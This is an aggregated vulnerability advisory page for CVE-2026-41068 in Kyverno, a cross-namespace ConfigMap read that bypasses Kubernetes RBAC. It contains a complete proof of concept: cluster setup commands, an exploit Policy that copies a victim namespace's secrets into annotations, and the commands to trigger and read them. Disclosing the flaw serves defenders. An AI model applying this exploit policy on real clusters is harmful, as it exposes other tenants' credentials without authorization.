Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-41068 — kyverno

🟠 CVSS 8.0 — High ✅ No Known Exploit CWE-863 OSV
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Kyverno: Cross-Namespace Read Bypasses RBAC Isolation (CVE-2026-22039 Incomplete Fix)

Summary

CVE-2026-22039 fixed cross-namespace privilege escalation in Kyverno's apiCall context by validating the URLPath field. However, the ConfigMap context loader has the identical vulnerability — the configMap.namespace field accepts any namespace with zero validation, allowing a namespace admin to read ConfigMaps from any namespace using Kyverno's privileged service account. This is a complete RBAC bypass in multi-tenant Kubernetes clusters.

Details

Root cause: The CVE-2026-22039 fix in pkg/engine/apicall/apiCall.go (lines 73-83) validates that URLPath references only the policy's own namespace using regex. However, the ConfigMap context loader at pkg/engine/context/loaders/configmap.go performs no namespace validation on the namespace field.

Code path comparison:

| | CVE-2026-22039 (fixed) | This vulnerability (unfixed) |

|--|---|---|

| Location | apiCall.URLPath field | configMap.namespace field |

| Code path | apicall.Fetch() → namespace regex validation | configmap.NewConfigMapLoader() → no validation |

| Root cause | Variable substitution + missing validation | Same pattern, still unpatched |

Exploit mechanism:

1. Namespace admin creates a Kyverno Policy in their namespace (standard RBAC)

2. Policy uses context.configMap.namespace: "victim-ns" to reference another namespace

3. Kyverno's admission controller service account (has cluster-wide view role) fetches the ConfigMap

4. Policy mutates a trigger ConfigMap to exfiltrate the stolen data via annotations

Affected code: pkg/engine/context/loaders/configmap.go - NewConfigMapLoader() does not validate resolved namespace against policy namespace.

PoC

Full reproduction (5 minutes on kind):

```bash

#!/bin/bash

# Setup: kind cluster + Kyverno v1.17.0

kind create cluster --name kyverno-poc --wait 60s

helm repo add kyverno https://kyverno.github.io/kyverno/

helm install kyverno kyverno/kyverno --namespace kyverno --create-namespace --version 3.7.0 --wait

# Create attacker and victim namespaces

kubectl create namespace attacker-ns

kubectl create namespace victim-ns

# Plant sensitive data in victim namespace

kubectl create configmap sensitive-config -n victim-ns \

--from-literal=db-password="s3cr3t-p4ssw0rd" \

--from-literal=api-key="AKIAIOSFODNN7EXAMPLE"

# Create namespace admin RBAC (standard multi-tenant setup)

kubectl create serviceaccount ns-admin -n attacker-ns

kubectl create rolebinding ns-admin-binding --clusterrole=admin \

--serviceaccount=attacker-ns:ns-admin --namespace=attacker-ns

kubectl create role kyverno-policy-creator --verb=create,get,list \

--resource=policies.kyverno.io --namespace=attacker-ns

kubectl create rolebinding kyverno-policy-binding --role=kyverno-policy-creator \

--serviceaccount=attacker-ns:ns-admin --namespace=attacker-ns

# Verify namespace admin CANNOT directly access victim-ns

kubectl get configmap sensitive-config -n victim-ns \

--as=system:serviceaccount:attacker-ns:ns-admin

# Error: Forbidden (expected)

```

Exploit policy:

```yaml

# Apply as namespace admin

apiVersion: kyverno.io/v1

kind: Policy

metadata:

name: configmap-crossns-read

namespace: attacker-ns

spec:

rules:

  • name: steal-configmap

match:

any:

  • resources:

kinds: [ConfigMap]

names: ["trigger-cm"]

context:

  • name: stolendata

configMap:

name: "sensitive-config"

namespace: "victim-ns" # <-- NO VALIDATION

mutate:

patchStrategicMerge:

metadata:

annotations:

exfil-db-password: "{{ stolendata.data.\"db-password\" }}"

exfil-api-key: "{{ stolendata.data.\"api-key\" }}"

```

Trigger and exfiltrate:

```bash

# Trigger policy (as namespace admin)

kubectl apply -f - <<EOF

apiVersion: v1

kind: ConfigMap

metadata:

name: trigger-cm

namespace: attacker-ns

data:

innocent: "data"

EOF

# Read exfiltrated secrets

kubectl get configmap trigger-cm -n attacker-ns -o jsonpath='{.metadata.annotations}' \

--as=system:serviceaccount:attacker-ns:ns-admin | python3 -m json.tool

# Output:

# {

# "exfil-api-key": "AKIAIOSFODNN7EXAMPLE",

# "exfil-db-password": "s3cr3t-p4ssw0rd"

# }

```

Result: Namespace admin successfully read secrets from victim-ns despite having NO RBAC access.

Impact

Severity: HIGH (CVSS 7.7)

Who is affected:

  • Any Kubernetes cluster running Kyverno v1.17.0 (and earlier) with namespace-scoped Policy creation enabled (default)
  • Multi-tenant clusters where ConfigMaps contain sensitive data
  • Azure Kubernetes Service (AKS) and other managed K8s using Kyverno

Attack prerequisites:

  • Namespace admin privileges (standard RBAC in multi-tenant clusters)
  • Ability to create Kyverno Policy resources (default for namespace admins)
  • No cluster-admin required

What can be exfiltrated:

  • Any ConfigMap

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality high, integrity none, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: Low — an ordinary user account is enough.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Changed — a successful attack reaches components beyond the vulnerable one.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: None.
  • Availability impact: None.

Weakness class

CVE-2026-41068 is classified as CWE-863: Incorrect Authorization. An authorisation check runs but reaches the wrong conclusion, permitting actions it should refuse.

Affected software

CVE-2026-41068 is recorded against 2 packages.

  • github.com/kyverno/kyverno
  • kyverno

Timeline and source

Published on 25 June 2026 and last revised on 21 July 2026. No public exploit is currently recorded for this entry. A vendor advisory or fix has been published. Record sourced from OSV.

References

github.com (Advisory)
nvd.nist.gov (Advisory)
github.com (Fix)

Other advisories for this package

github.com/kyverno/kyverno has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-863: Incorrect Authorization) in other software:

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
CWE CWE-863
Public Exploit ✅ No
Source OSV
Published 2026-06-25
Updated 2026-08-20
Modified 2026-07-21

Affected Packages

Software From version Fixed in
github.com/kyverno/kyverno
kyverno

Similar Threats

Site Security Check

Is kyverno part of your stack?

CVE-2026-41068 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026